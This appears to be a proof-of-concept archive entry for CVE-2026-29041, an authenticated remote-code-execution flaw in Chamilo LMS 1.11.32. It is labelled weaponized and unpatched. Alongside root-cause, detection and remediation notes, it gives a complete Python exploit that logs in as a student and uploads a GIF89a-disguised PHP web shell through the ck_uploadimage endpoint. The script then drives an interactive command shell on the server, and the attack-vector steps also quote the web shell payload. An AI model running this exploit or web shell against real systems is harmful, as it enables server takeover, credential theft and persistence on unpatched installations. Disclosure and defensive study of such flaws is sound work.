PoC Archive PoC Archive
High CVE-2026-29041 unpatched

Chamilo LMS Authenticated RCE via Unrestricted File Upload — CVE-2026-29041

by MENG HOKSENG · 2026-07-05

CVSS 8.8/10
Severity
High
CVE
CVE-2026-29041
Category
web
Affected product
Chamilo LMS
Affected versions
1.11.32 (confirmed)
Disclosed
2026-07-05
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-03
Author / ResearcherMENG HOKSENG
CVE / AdvisoryCVE-2026-29041
Categoryweb
SeverityHigh
CVSS Score8.8 (HIGH) — CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H (as stated in source README)
StatusWeaponized
Tagschamilo, lms, file-upload, rce, webshell, cwe-434, mime-bypass, authenticated
RelatedN/A

Affected Target

FieldValue
Software / SystemChamilo LMS
Versions Affected1.11.32 (confirmed)
Language / PlatformPython PoC (requests) against a PHP web application
Authentication RequiredYes — low-privileged Student role
Network Access RequiredYes

Summary

Chamilo LMS’s ck_uploadimage AJAX endpoint (main/inc/ajax/document.ajax.php?a=ck_uploadimage) validates uploaded files solely by inspecting magic bytes via PHP’s mime_content_type(), without checking the file extension or sanitizing the stored filename. An attacker can prepend the GIF89a magic-byte header to a PHP web shell so the file is classified as image/gif, while the server still stores it with its original attacker-chosen .php extension inside a web-accessible upload directory. Because a low-privileged Student account can reach this endpoint, the PoC logs in as a student, uploads a disguised PHP web shell, and then issues commands to the shell via a cmd GET parameter, achieving full remote code execution on the server.


Vulnerability Details

Root Cause

The upload handler performs MIME-type validation only (via magic bytes), never validates the file extension, and preserves the attacker-supplied filename when saving to a directory served directly by the web server, allowing a .php file with faked image magic bytes to be uploaded and executed.

Attack Vector

  1. Authenticate to Chamilo as a low-privileged Student account.
  2. POST a file to main/inc/ajax/document.ajax.php?a=ck_uploadimage&cidReq=<course> whose content begins with GIF89a; followed by PHP code (<?php system($_GET['cmd']); ?>) and whose filename ends in .php.
  3. The MIME check passes (image/gif detected from magic bytes) and the file is stored under app/upload/users/<id>/... with its .php extension intact.
  4. Request the stored file directly via HTTP with a ?cmd=<command> parameter to execute arbitrary OS commands through the planted web shell.

Impact

Full remote code execution on the LMS server from a Student-level account, leading to complete loss of confidentiality, integrity, and availability (database/credential access, lateral movement, persistence, content tampering).


Environment / Lab Setup

Target:   Chamilo LMS 1.11.32
Attacker: Python 3 with `requests`, valid student credentials on the target

Proof of Concept

PoC Script

See cvd-10-10.py in this folder.

1
python cvd-10-10.py -u http://localhost:8081 -l student -p cvd1010

The script logs into Chamilo as the given student, uploads a PHP web shell disguised with a GIF89a image header via the ck_uploadimage endpoint, then opens an interactive shell prompt that sends commands to the planted web shell’s cmd parameter and prints the output.


Detection & Indicators of Compromise

Signs of compromise:

  • Presence of unexpected .php files under app/upload/users/*/ directories.
  • Repeated GET requests to uploaded files carrying a cmd parameter.
  • Student accounts making POST requests to the document AJAX upload endpoint outside normal course material workflows.

Remediation

ActionDetail
Primary fixNo vendor patch confirmed as of 2026-07-05 — monitor for advisory; enforce strict file-extension allowlisting rejecting .php/.phtml/.phar regardless of MIME type.
Interim mitigationStore uploads outside web-accessible directories or serve them through a controlled handler that strips/ignores executable extensions; disable PHP execution in upload directories via web server config.

References


Notes

Mirrored from https://github.com/celeboy711-hue/CVE-2026-29041 on 2026-07-05.

cvd-10-10.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
import requests
import argparse
import sys
import random
import string
import time
def exploit(url, username, password):
    session = requests.Session()
    # 1. Login
    login_url = f"{url}/index.php"
    print(f"[+] 1. Logging in as {username}...")
    
    login_data = {
        'login': username,
        'password': password,
        'submitAuth': 1
    }
    
    try:
        resp = session.post(login_url, data=login_data, allow_redirects=True)
        if "user_portal.php" not in resp.url and "index.php" in resp.url and "loginFailed" in resp.url:
            print("[-] Login failed. Check credentials.")
            return
        print("[+] Login successful.")
    except Exception as e:
        print(f"[-] Login request failed: {e}")
        return
    # 2. Prepare Payload
    # Generate a random PHP filename
    filename = ''.join(random.choices(string.ascii_lowercase, k=8)) + ".php"
    
    # Magic bytes for GIF89a to bypass mime_content_type check if strictly implemented on magic bytes
    # The vulnerability report states mime_content_type is used.
    # Payload: GIF89a header + PHP shell
    payload_content = b'GIF89a;\n<?php echo "Shell Executed: "; system($_GET["cmd"]); ?>'
    
    # 3. Upload File
    # Endpoint: main/inc/ajax/document.ajax.php?a=ck_uploadimage&cidReq=CVD
    # cidReq is required for api_protect_course_script() to pass
    upload_url = f"{url}/main/inc/ajax/document.ajax.php?a=ck_uploadimage&cidReq=CVD"
    print(f"[+] 2. Uploading malicious file to {upload_url}...")
    
    # Generate a random CSRF token
    csrf_token = ''.join(random.choices(string.ascii_letters + string.digits, k=20))
    
    # Set the cookie
    session.cookies.set("ckCsrfToken", csrf_token)
    
    # Correct multipart structure is crucial. 
    # The PHP script expects $_FILES['upload']
    # We send csrf token as a field in the multipart data via 'data' parameter
    files = {
        'upload': (filename, payload_content, 'image/gif')
    }
    
    # We don't need 'data' anymore if we put it in 'files' with None filename
    # but requests might need it in 'data' for simple fields. 
    # Let's try putting it in 'data' as standard requests usage first, but make sure cookies are set.
    # The previous attempt didn't work. The issue might be requests not sending the cookie properly or the token mismatch.
    
    # Let's verify we are getting the cookie first.
    if 'ckCsrfToken' not in session.cookies:
         session.cookies.set("ckCsrfToken", csrf_token)

    data = {
        'ckCsrfToken': csrf_token
    }
    
    try:
        # Note: 'files' argument in requests automatically sets Content-Type to multipart/form-data
        # We explicitly pass cookies just to be safe, though session should handle it.
        resp = session.post(upload_url, files=files, data=data, cookies={"ckCsrfToken": csrf_token})
        
        if resp.status_code != 200:
            print(f"[-] Upload failed with status code {resp.status_code}")
            print("Response:", resp.text)
            return

        # Check for redirects
        if len(resp.history) > 0:
            print("[-] Request was redirected:")
            for r in resp.history:
                print(f"  {r.status_code} -> {r.url}")
            print(f"  Final URL: {resp.url}")
            
        # Parse JSON response
        try:
            json_resp = resp.json()
            # Check for boolean true or 1 or string "1"
            if json_resp.get('uploaded') == 1 or json_resp.get('uploaded') == True:
                relative_url = json_resp.get('url')
                print(f"[+] Upload successful! Relative URL: {relative_url}")
                
                # 4. Execute Command
                # The relative URL usually starts with /, so we join carefully
                if relative_url.startswith('/'):
                    shell_full_url = f"{url}{relative_url}"
                else:
                    shell_full_url = f"{url}/{relative_url}"
                
                print(f"[+] 3. Remote Shell Active at {shell_full_url}")
                print("[+] Type 'exit' to quit.")
                
                while True:
                    try:
                        cmd = input("Shell> ")
                        if cmd.lower() in ['exit', 'quit']:
                            break
                        
                        # Add a cache-buster to prevent caching
                        shell_resp = session.get(shell_full_url, params={'cmd': cmd, '_': int(time.time())})
                        
                        if "Shell Executed:" in shell_resp.text:
                            # Extract output after our marker
                            output = shell_resp.text.split("Shell Executed: ")[1].strip()
                            print(output)
                        else:
                            print("[-] Execution marker not found.")
                            # print(shell_resp.text)
                    except KeyboardInterrupt:
                        print("\n[+] Exiting...")
                        break
                    except Exception as e:
                        print(f"[-] Error: {e}")
                    
            else:
                print("[-] Upload failed according to JSON response.")
                print("Response:", json_resp)
                
        except ValueError:
            print("[-] Failed to parse JSON response. Raw response:")
            print(f"Final URL: {resp.url}")
            print(resp.text) 
            print(f"Status Code: {resp.status_code}")
            
    except Exception as e:
        print(f"[-] Upload request failed: {e}")
if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="Chamilo 1.11.32 Authenticated RCE Exploit (CVE-PoC)")
    parser.add_argument("-u", "--url", required=True, help="Base URL of Chamilo (e.g., http://localhost/chamilo)")
    parser.add_argument("-l", "--login", required=True, help="Username")
    parser.add_argument("-p", "--password", required=True, help="Password")
    
    args = parser.parse_args()
    
    # Remove trailing slash from URL
    target_url = args.url.rstrip('/')
    
    exploit(target_url, args.login, args.password)
# Usage: python .\cvd-10-10.py -u http://localhost:8081 -l student -p cvd1010